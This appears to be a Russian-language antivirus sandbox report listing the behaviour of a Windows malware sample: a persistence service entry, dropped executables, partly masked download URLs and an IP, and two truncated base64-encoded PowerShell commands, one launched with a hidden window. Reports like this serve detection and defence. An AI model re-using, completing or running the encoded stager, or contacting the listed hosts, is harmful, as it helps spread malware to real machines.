Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\sas] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\sas] 'ImagePath' = '"%WINDIR%\SysWOW64\autoconv\sas.exe"'
- 'sas' "%WINDIR%\SysWOW64\autoconv\sas.exe"
- 'sas' %WINDIR%\SysWOW64\autoconv\sas.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -encod JABUADgAeAB1AG4AdQAyAD0AKAAoACcARgAnACsAJwB2AGYAJwApACsAJwBsACcAKwAoACcAYgAnACsAJwB5ADcAJwApACkAOwAuACgAJwBuACcAKwAnAGUAdwAtAGkAdABlAG0AJwApACAAJABlAE4AdgA6AFUAUwBlAHIAcAByAG8AZgBJAGwAZQ...
- %HOMEPATH%\lwfrhxu\nlfkw63\ukfj0bw.exe
- %WINDIR%\syswow64\autoconv\sas.exe
- %HOMEPATH%\lwfrhxu\nlfkw63\ukfj0bw.exe в %WINDIR%\syswow64\autoconv\sas.exe
- '91.##5.94.200':80
- http://ve###no56.com/gjpra/4ZR/
- http://gi####ekdinners.com/wp-content/Hpz/
- http://91.##5.94.200/XiBLHXKj/tMZ8/phRiZUivibGQ6/1IlcgmNXUY7/ZoX9XDnXties/
- DNS ASK ve###no56.com
- DNS ASK gi####ekdinners.com
- '%HOMEPATH%\lwfrhxu\nlfkw63\ukfj0bw.exe'
- '%WINDIR%\syswow64\autoconv\sas.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -encod JABUADgAeAB1AG4AdQAyAD0AKAAoACcARgAnACsAJwB2AGYAJwApACsAJwBsACcAKwAoACcAYgAnACsAJwB5ADcAJwApACkAOwAuACgAJwBuACcAKwAnAGUAdwAtAGkAdABlAG0AJwApACAAJABlAE4AdgA6AFUAUwBlAHIAcAByAG8AZgBJAGwAZQ...' (со скрытым окном)